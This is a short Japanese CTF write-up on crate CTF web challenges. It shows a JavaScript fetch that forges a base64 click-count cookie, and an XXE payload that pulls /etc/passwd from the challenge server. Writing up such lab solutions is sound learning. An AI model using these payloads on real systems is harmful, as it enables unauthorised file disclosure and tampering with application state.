はじめに
今回はsknbでcrate ctfに参加してきました。
夜の10時から朝6時という大会時間で、かつ言語はスウェーデンなので、いつもと違う環境でのCTFでした。
結果としては148位でした。
Webの問題で解けそうな問題を2つ落としてしまったのが悔しかったです。
KaKlickare
ホームページに行くとGet the flag!と書かれたボタンが出るので
それを押すと、1000000000回クリックしろと言われます。
リクエストを見ると、Cookieヘッダのclicksの値で判定しているので
clicksを以下のコードで改ざんし、リクエストを送信することでフラグが手に入ります。
(async () => {
const baseUrl = "http://challs.crate.nu:50012/";
const clickCnt = "1000000000";
const res = await fetch(baseUrl + "flag.php", {
method: "POST",
headers: {"Cookie": `clicks=${btoa(clickCnt)}`}
});
console.log(await res.text());
})();
XML-kontroll
XMLを入力するページが出てきます。
ここですぐにXXEを思いつきました。
XMLには実体という変数のような機能があります。
実体を定義するとXML中にそれを&実体名
で記述すると
実体の内容を参照することができます。
外部実態参照(XXE)とは実体の内容に外部のデータを使用できるというものです。
例えばローカルファイルもそれに含まれます。
以下の実態を用いて/etc/passwdの内容を取得したところ、ユーザ名にフラグが書いてありました。
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]><data>&example;</data>
おわりに
私が大会中はこの2つを解きました。
この他に3つWeb問がありましたが、その2つは自分の知っていた脆弱性だったので
解けなかったのが悔しかったです。
次はSeccon Qualsなので気合入れていきます。